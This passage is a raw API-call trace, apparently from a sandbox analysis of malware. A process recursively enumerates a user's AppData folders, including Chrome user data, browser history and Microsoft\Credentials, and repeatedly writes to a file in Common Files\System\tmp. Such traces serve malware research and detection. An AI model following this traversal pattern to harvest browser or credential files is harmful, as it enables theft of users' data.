returned 0x12 [0128.915] AreFileApisANSI () returned 1 [0128.915] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0128.915] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b0dc, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0128.915] GetFileType (hFile=0x190) returned 0x1 [0128.915] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\WidevineCdm\\*.*", lpFindFileData=0x18b110 | out: lpFindFileData=0x18b110*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81dfb250, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81dfb250, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81dfb250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1830 [0128.916] FindClose (in: hFindFile=0x7d1830 | out: hFindFile=0x7d1830) returned 1 [0128.916] GetLastError () returned 0x12 [0128.916] FindClose (in: hFindFile=0x7d17f0 | out: hFindFile=0x7d17f0) returned 1 [0128.916] GetLastError () returned 0x12 [0128.916] FindClose (in: hFindFile=0x7d17b0 | out: hFindFile=0x7d17b0) returned 1 [0128.916] GetLastError () returned 0x12 [0128.916] AreFileApisANSI () returned 1 [0128.916] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0128.916] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b794, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0128.916] GetFileType (hFile=0x188) returned 0x1 [0128.916] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\CrashReports\\*.*", lpFindFileData=0x18b7c8 | out: lpFindFileData=0x18b7c8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6b0b7d20, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6b0b7d20, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6b0b7d20, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d17b0 [0128.921] FindClose (in: hFindFile=0x7d17b0 | out: hFindFile=0x7d17b0) returned 1 [0128.921] GetLastError () returned 0x12 [0128.921] FindClose (in: hFindFile=0x7d1770 | out: hFindFile=0x7d1770) returned 1 [0128.921] GetLastError () returned 0x12 [0128.921] AreFileApisANSI () returned 1 [0128.922] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0128.922] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18baf0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0128.922] GetFileType (hFile=0x184) returned 0x1 [0128.922] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\History\\*.*", lpFindFileData=0x18bb24 | out: lpFindFileData=0x18bb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28ea2560, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe75c620, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x10000, dwReserved1=0x8878e8, cFileName=".", cAlternateFileName="")) returned 0x7d1770 [0128.923] AreFileApisANSI () returned 1 [0128.923] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0128.923] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b794, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0128.971] GetFileType (hFile=0x188) returned 0x1 [0128.971] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\History\\History.IE5\\*.*", lpFindFileData=0x18b7c8 | out: lpFindFileData=0x18b7c8*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xa413c7b0, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa413c7b0, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d17b0 [0128.972] AreFileApisANSI () returned 1 [0128.972] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0128.972] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b438, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0128.972] GetFileType (hFile=0x18c) returned 0x1 [0128.972] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\History\\History.IE5\\MSHist012020010820200109\\*.*", lpFindFileData=0x18b46c | out: lpFindFileData=0x18b46c*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xa413c7b0, ftCreationTime.dwHighDateTime=0x1d5c60a, ftLastAccessTime.dwLowDateTime=0xa413c7b0, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa413c7b0, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d17f0 [0128.972] FindClose (in: hFindFile=0x7d17f0 | out: hFindFile=0x7d17f0) returned 1 [0128.972] GetLastError () returned 0x12 [0128.972] FindClose (in: hFindFile=0x7d17b0 | out: hFindFile=0x7d17b0) returned 1 [0128.973] GetLastError () returned 0x12 [0128.973] AreFileApisANSI () returned 1 [0128.973] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0128.973] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b794, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0128.973] GetFileType (hFile=0x188) returned 0x1 [0128.973] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\History\\Low\\*.*", lpFindFileData=0x18b7c8 | out: lpFindFileData=0x18b7c8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x4f090c50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x4f090c50, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d17b0 [0128.973] AreFileApisANSI () returned 1 [0128.973] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0128.973] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b438, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0128.973] GetFileType (hFile=0x18c) returned 0x1 [0128.973] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\History\\Low\\History.IE5\\*.*", lpFindFileData=0x18b46c | out: lpFindFileData=0x18b46c*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x4f090c50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x45c34df0, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0x45c34df0, ftLastWriteTime.dwHighDateTime=0x1d2faf3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x40, dwReserved1=0x887e80, cFileName=".", cAlternateFileName="")) returned 0x7d17f0 [0128.974] AreFileApisANSI () returned 1 [0128.974] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0128.974] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b0dc, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0128.974] GetFileType (hFile=0x190) returned 0x1 [0128.974] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\History\\Low\\History.IE5\\MSHist012017071220170713\\*.*", lpFindFileData=0x18b110 | out: lpFindFileData=0x18b110*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x45c34df0, ftCreationTime.dwHighDateTime=0x1d2faf3, ftLastAccessTime.dwLowDateTime=0x45c34df0, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0x45c34df0, ftLastWriteTime.dwHighDateTime=0x1d2faf3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1830 [0128.974] FindClose (in: hFindFile=0x7d1830 | out: hFindFile=0x7d1830) returned 1 [0128.975] GetLastError () returned 0x12 [0128.975] FindClose (in: hFindFile=0x7d17f0 | out: hFindFile=0x7d17f0) returned 1 [0128.975] GetLastError () returned 0x12 [0128.975] FindClose (in: hFindFile=0x7d17b0 | out: hFindFile=0x7d17b0) returned 1 [0128.975] GetLastError () returned 0x12 [0128.975] FindClose (in: hFindFile=0x7d1770 | out: hFindFile=0x7d1770) returned 1 [0128.975] GetLastError () returned 0x12 [0128.975] AreFileApisANSI () returned 1 [0128.975] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0128.975] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18baf0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0128.975] GetFileType (hFile=0x184) returned 0x1 [0128.975] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\*.*", lpFindFileData=0x18bb24 | out: lpFindFileData=0x18bb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x962f4540, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x962f4540, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x10000, dwReserved1=0x8878e8, cFileName=".", cAlternateFileName="")) returned 0x7d1770 [0128.975] AreFileApisANSI () returned 1 [0128.975] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0128.976] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b794, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0128.976] GetFileType (hFile=0x188) returned 0x1 [0128.976] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Credentials\\*.*", lpFindFileData=0x18b7c8 | out: lpFindFileData=0x18b7c8*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xea43994d, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d17b0 [0128.976] FindClose (in: hFindFile=0x7d17b0 | out: hFindFile=0x7d17b0) returned 1 [0128.976] GetLastError () returned 0x12 [0128.976] AreFileApisANSI () returned 1 [0128.976] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0128.976] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b794, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0128.976] GetFileType (hFile=0x188) returned 0x1 [0128.976] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Event Viewer\\*.*", lpFindFileData=0x18b7c8 | out: lpFindFileData=0x18b7c8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x32121370, ftCreationTime.dwHighDateTime=0x1d2fa9b, ftLastAccessTime.dwLowDateTime=0x32121370, ftLastAccessTime.dwHighDateTime=0x1d2fa9b, ftLastWriteTime.dwLowDateTime=0x32121370, ftLastWriteTime.dwHighDateTime=0x1d2fa9b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d17b0 [0128.977] FindClose (in: hFindFile=0x7d17b0 | out: hFindFile=0x7d17b0) returned 1 [0128.977] GetLastError () returned 0x12 [0128.977] AreFileApisANSI () returned 1 [0128.977] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0128.977] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b794, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0128.977] GetFileType (hFile=0x188) returned 0x1 [0128.977] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds\\*.*", lpFindFileData=0x18b7c8 | out: lpFindFileData=0x18b7c8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f14980, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xff0498b1, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d17b0 [0128.977] AreFileApisANSI () returned 1 [0128.977] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0128.977] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b438, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0128.977] GetFileType (hFile=0x18c) returned 0x1 [0128.977] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds\\Microsoft Feeds~\\*.*", lpFindFileData=0x18b46c | out: lpFindFileData=0x18b46c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f14980, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfee3456d, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d17f0 [0128.978] FindClose (in: hFindFile=0x7d17f0 | out: hFindFile=0x7d17f0) returned 1 [0128.979] GetLastError () returned 0x12 [0128.979] AreFileApisANSI () returned 1 [0128.979] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0128.979] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b438, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0128.979] GetFileType (hFile=0x18c) returned 0x1 [0128.979] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\*.*", lpFindFileData=0x18b46c | out: lpFindFileData=0x18b46c*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xff0498b1, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x12, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d17f0 [0128.980] AreFileApisANSI () returned 1 [0128.980] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0128.980] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b0dc, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0128.980] GetFileType (hFile=0x190) returned 0x1 [0128.980] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~\\*.*", lpFindFileData=0x18b110 | out: lpFindFileData=0x18b110*(dwFileAttributes=0x8, ftCreationTime.dwLowDateTime=0xe, ftCreationTime.dwHighDateTime=0x88, ftLastAccessTime.dwLowDateTime=0x7d0228, ftLastAccessTime.dwHighDateTime=0x4, ftLastWriteTime.dwLowDateTime=0x12000, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x11dab, nFileSizeLow=0x0, dwReserved0=0x1, dwReserved1=0x0, cFileName="", cAlternateFileName="È\x80\x83")) returned 0xffffffff [0128.980] FindClose (in: hFindFile=0x7d17f0 | out: hFindFile=0x7d17f0) returned 1 [0128.980] GetLastError () returned 0x12 [0128.980] FindClose (in: hFindFile=0x7d17b0 | out: hFindFile=0x7d17b0) returned 1 [0128.980] GetLastError () returned 0x12 [0128.980] AreFileApisANSI () returned 1 [0128.980] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0128.980] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b794, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0128.980] GetFileType (hFile=0x188) returned 0x1 [0128.981] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds Cache\\*.*", lpFindFileData=0x18b7c8 | out: lpFindFileData=0x18b7c8*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f3aae0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfea09ee5, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d17b0 [0128.981] AreFileApisANSI () returned 1 [0128.981] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0128.981] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b438, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0128.981] GetFileType (hFile=0x18c) returned 0x1 [0128.981] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds Cache\\1NBUR4HR\\*.*", lpFindFileData=0x18b46c | out: lpFindFileData=0x18b46c*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f14980, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfedc214c, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d17f0 [0128.981] FindClose (in: hFindFile=0x7d17f0 | out: hFindFile=0x7d17f0) returned 1 [0128.981] GetLastError () returned 0x12 [0128.981] AreFileApisANSI () returned 1 [0128.982] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0128.982] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b438, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0128.982] GetFileType (hFile=0x18c) returned 0x1 [0128.982] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds Cache\\6ASVN7J7\\*.*", lpFindFileData=0x18b46c | out: lpFindFileData=0x18b46c*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f14980, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfee8082e, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x7b0150, cFileName=".", cAlternateFileName="")) returned 0x7d17f0 [0128.982] FindClose (in: hFindFile=0x7d17f0 | out: hFindFile=0x7d17f0) returned 1 [0128.982] GetLastError () returned 0x12 [0128.982] AreFileApisANSI () returned 1 [0128.982] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0128.982] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b438, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0128.982] GetFileType (hFile=0x18c) returned 0x1 [0128.983] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS 